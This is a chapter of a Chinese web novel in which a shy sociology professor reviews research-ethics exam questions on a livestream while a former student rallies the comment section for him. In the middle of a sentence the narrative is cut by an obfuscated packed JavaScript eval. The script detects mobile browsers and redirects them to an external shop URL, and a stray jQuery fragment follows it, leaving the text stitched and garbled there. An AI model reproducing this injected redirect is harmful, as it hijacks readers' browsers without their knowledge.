突然，评论区弹出来一句：贺教授，第一道论述题，如果我已经按学术规范做好了匿名化，是不是就不用管受访者了？哪怕我坚持发表，也没什么后果？
贺鸣云愣了下。
他认得这个ID——manhater（恨男者）——问问题的，竟是他的孽徒，钟若晚。
可钟若晚从来不会叫他“贺教授”，她都叫“喂”或者“导儿”。
不给他反应的机会，“钟若晚”manhater又评论道：
“贺教授，怎么不说话？你该不会是为了给张教授留面子，才不给我们讲解论述题的吧？”
什么意思？
贺鸣云茫然地看着这条评论，还没来得及开口，旁边的张智学先急了：“这位同学，怎么扯上我了？”
manhater犀利指出：“毕竟刚刚张教授说了一堆，也没解释该怎么答这两道题，难道不是你不知道怎么讲？”
张智学继续踩公关雷，辩解道：“这位同学，这题是贺教授出的，应该命题人来讲解啊。”
manhater很快回应：
“可是你不知道参考答案吗？如果没有评分标准，那张教授改卷子的时候，是怎么给分的？”
“之前的选择、名词解释、案例分析这些题，张教授讲解得也很水，我没听明白。”
评论区的风向稍有变化，学生们似乎这才意识到，刚才张智学虽然口若悬河、插科打诨，但确实没怎么好好讲评试卷。
张智学一时语塞。
manhater不依不饶：“我们学生都知道，张教授期末打分很慷慨，但如果您没有评分标准，只是随便打高分，那对我们其他班的学生不公平，这算是教学事故了吧？”
触及学生的个人利益，评论区立刻乱成一锅粥：
“呵呵，张就是乱给分啊，我室友平时上课都不去，平时分比我还高。”
“对啊，他们班平均分85点几，搞笑，一门课拉0.1的绩点。”
“总比随便挂学生的老师好咯？”
“倒反天罡，开了眼了，不谴责给挂科的老师，反而批评给高分的老师？”
“张智学的学生？既得利益者当然这么说咯。”
“给点分就又吻上去了？”
“大哥，能不能有点尊严，高分是自己考出来的，不是求老师求来的。”
“br0遇到个手松的老师，还真以为是自己水平高了。”
“人家扣分有依据，你得高分有依据吗？”
江无远看到屏幕里，张智学突然慌张起来。
他也就欺负欺负贺鸣云，糊弄糊弄不谙世事的学生，哪里敌得过她这种专业人士？在新闻与传播专业里，刚刚这手操作属于网络情绪动员，也算是一种议程设置。
贺鸣云傻兮兮的，平时在她面前小嘴叭叭的，直播里被张智学明里暗里拉踩成这样了还不吭声。怎么样？关键时候还得网红出马救你吧？江无远心情大好，哼起了《We’rethechampions》。
评论区还在吵架：
“张智学每门课打分都特别高，平时分都打满的。”
“对啊，学得不好的，凭什么还拿奖学金？”
“等等，关键是有没有参考答案啊？”
“肯定有啊，期末不是都一起改卷子的。”
“以后就应该交换改卷子，不能批自己班的试卷。”
“贺教授出的题，问贺教授啊。”
贺鸣云没料到直播会发展成这样，恍惚中又觉得，这调动学生激情的招数、这逻辑跳脱的发言，看着特别眼熟。
群情激愤，现在就是造神的时候了。
江无远掰了掰手关节，噼里啪啦打字。
manhater：“贺教授，您能先讲解下这两道题吗？您应该有写一个参考答案给阅卷老师的吧？”
贺鸣云冷静下来：“对，有的。我先讲第一道题。”
四、论述题（每题15分）
（一）你完成了一个关于“贫困大学生提前消费及借贷行为”的研究，研究成果获得一致好评。这时，一位关键受访者在看到你的论文后联系到你，受访者表示，虽然你的研究内容没有造假，对他的个人信息进行了匿名化处理，而且他本人也认可你的研究结论，但现在有部分亲友发现了他就是你论文里的那个人，这让他感到非常羞耻。他后悔接受了你的访谈，希望你能撤回论文。
请结合社会学研究伦理，论述：
1、在本案例中，你作为研究者，主要面临哪些伦理责任之间的冲突？
2、你会如何回应受访者？会采取哪些行动？
3、假如有重来一次的机会，从研究设计阶段开始，可以采取哪些措施，尽量避免此类伦理困境？
贺鸣云先解释道：“我出题时考虑的是学术论理问题，这是同学们以后做课题、写论文很可能会遇到的情况。但我没意识到你们还很年轻，还没做过什么课题，也没发表过论文，导致这道题在你们看来，是出题人没事找事、故意找茬。”
“在真实的社会研究中，即使你充分说明了接受访谈后可能产生的后果，即使受访者签署了知情同意书，即使你对受访者做了充分的匿名化处理保护，伦理问题依然可能出现。”
“这道题反应了社会学研究中常见的矛盾：研究成果发表与个人情感保护之间的矛盾，研究者求真的本能，和受访者反复的人性之间的矛盾。”
“教材里没有这个案例，我没有讲过这个案例，具体做法也因人、因研究而异，我只能告诉你们我的答案：首先，立即停止对这项研究的宣传，向受访者道歉。然后，和受访者商量补救措施，也许修改报告，也许需要撤稿。最后还要消除不良影响，你可能甚至需要帮助受访者平息舆论。”
他这就讲完了。
江无远恨铁不成钢，赶紧追加评论。
manhater：“贺教授，其他不一样的答案能拿高分吗？”
贺鸣云看到评论，说：“在批卷的过程中，我看到了很多不同的答案。有同学计划暂时撤稿，替换访谈案例后再进行发表。有同学很有创意地提出用‘心声展示’的方式呈现研究成果，让更多大学生匿名讲述自己提前消费的故事，让受访者隐匿在大众之中，也让他知道自己不是极少数案例。这些答案我都给了高分。”
“为什么？因为这些同学都认识到了，社会调查的核心精神，不是获取论文所需要的数据，而是和被调查对象建立互相信任和尊重的关系。”
“从你介入他人生活的那一刻起，就有义务确保你的研究不伤害他人。这要求你们在研究设计阶段就要有同理心想象，不仅要想象你需要获得什么信息、完成什么样的论文，更要想象你的研究将如何影响他人的生活。”
“我希望你们明白，你们接受过专业的训练，掌握了专业的方法论，在进行社会学调查研究时，你处于强势地位。但这种强势是危险的，一个只会探索真相、而对研究对象缺乏责任感的研究者，是极其不专业的。这是关于《社会学调查与研究方法》这门课，我希望你们掌握的最重要的知识。”
江无远在手机屏幕背后笑了。
就是这样，就是要这样对研究侃侃而谈，对不专业的人狠狠抨击，才像贺鸣云嘛。
“下面我来讲第二道题。”
四、论述题（每题15分）
（二）传统民族志强调深描与在场，而今天许多人类行为以数字信息（社交媒体发文、购物记录、定位等数据）的形式留存。请论述：
1、通过研究研究对象在社交媒体上发布的内容，分析其价值观、社会关系与情感状态，这种方法在多大程度上可以替代或补充传统的线下观察与访谈？
2、基于数字痕迹的研究，可能面临哪些独特的效度威胁？
3、研究者应该如何批判性地使用数字信息，以得出尽可能真实、全面的结论？
贺鸣云讲解了参考答案后，又说：“同学们觉得这道题难，是因为我们用的教材比较老，教材上的案例大多都是传统的线下深度访谈和近距离观察。但在数字时代，民族志的研究范式已经延伸到了网络虚拟空间，我们不能回避对数字信息的研究。”
“出这道题是希望同学们看到，世界日新月异，方法论不断更迭，要做好社会研究，需要时刻对资料和数据本身保持质疑。”
贺鸣云想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093570|195550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到刚刚的评论，说：“我们几个老师轮流命题，完成命题后都会讨论参考答案和给分标准。如果有同学对分数有疑问，可以在教务系统后台申请查分，也可以给我发邮件。我上学期已经向学院和教务处提交了申请，下学期开始会试行统一批卷，尽量保证评分标准一致、给分公平。”
“另外，这两道题不是在刁难同学们，而是希望你们思考社会学研究是为了什么、要怎么做。社会学不是一门让你生活得更轻松的学问，恰恰相反，它可能会让你活得更沉重、更小心翼翼。但这份沉重，源于你开始尝试理解社会、理解人的复杂性。这正是这门学科能给予你们的最宝贵的东西：思想和精神上的自我超越。”
直播间一片寂静，评论区也迟迟没有刷新。
贺鸣云从讲课的心流状态抽离，顿时变得非常尴尬。他开始一句话都说不出来，不知怎么的，一讲起来就停不下来了。
“抱歉，我说多了，耽误大家时间了。”
在聊到他的专业的时候，贺鸣云从来不会慌张。
江无远早就注意到，贺鸣云的课并不是从一而终的无聊，他的课也会有让她眼前一亮的部分，那就是当他聊起他关注的研究的时候。不管是他最近在看的论文，还是他最近在做的课题，说起这些他喜欢的东西时，贺鸣云的语速会加快，表达会奇迹般变得生动，有时候耳朵还会变红。
仿佛进入无人之境。
没有人真的能完全避世，人不是孤岛，当然需要社交，需要展示自我，需要他人的尊重和认可。
再内向的人，内心也会藏着隐秘的激情。如果能找到属于他的舞台，他也能在站在上面侃侃而谈、闪闪发光。
贺鸣云可能自己都没意识到，他并非只是擅长学术，并非只是机械地进行着工作，他其实对自己在做的事情充满热情。哪里有那么多天才？所谓天才，不过是持续地在一件事上雕琢。学生不是铁石心肠，不是真的好吃懒做，他们也会被老师的热情唤醒。
manhater在评论区起头：“贺教授，你讲得真好！你没说多，你刚刚讲这些的时候，个人魅力拉满！”
贺鸣云看到“个人魅力”四个字，突然明白了什么。
评论区风向一变，学生开始给贺鸣云点赞、送花，还有学生开始问贺鸣云新的问题：
“有什么关于虚拟民族志的研究吗？这个好有意思。”
“贺教授，推荐几篇最新的论文，让我们暑假看看吧。”
多稀奇啊，他不是在做梦吧？贺鸣云都懵了，缓了两秒才问：“你们想读哪方面的？”
评论积极响应，论文主题五花八门。
这完全难不倒贺鸣云，他就是座行走的论文库，阅文无数，记忆力超群。
“好的，相关论文我今天整理好后，会发在学院的公共网盘里，方便大家下载阅读。”
manhater：“贺教授，也不用急着今天啦，你慢慢理嘛。”
学生们在评论区纷纷附和。
贺鸣云严肃答复：“要尽快的，你们都是三分钟热度，明天就不好学了。”
他说的是肺腑之言，还颇有些觉得学生不争气，没想到评论区里学生笑成了一团。
一条评论说：“贺教授，要是以后您上课也能像直播这么有趣就好了。”
贺鸣云摸了摸鼻子，不好意思地说：“知道了，我会努力的。”
江无远看着电脑屏幕里的贺鸣云，在油腻男张智学的衬托下，催眠杀手也显得出水芙蓉、亭亭玉立。
他一直没有看镜头，而是专心地盯着某处。
江无远知道，他是在试图看清楚每一条评论。贺鸣云就是这样，做什么都很专注，一双大眼睛总是盯着你，认真得你都不忍心拒绝他。
就算被他的认真伤害了，你也情不自禁，要给他的低情商找借口，相信他是纯粹的对事不对人。
直播即将结束，李教授和张智学向参加直播的同学礼貌道谢。
贺鸣云也跟着说：“谢谢同学们。”
过了一秒，他看向镜头，低声说：“谢谢……谢谢你。”
江无远看到贺鸣云耳朵微微泛红。她知道，这句“谢谢”，是说给她的。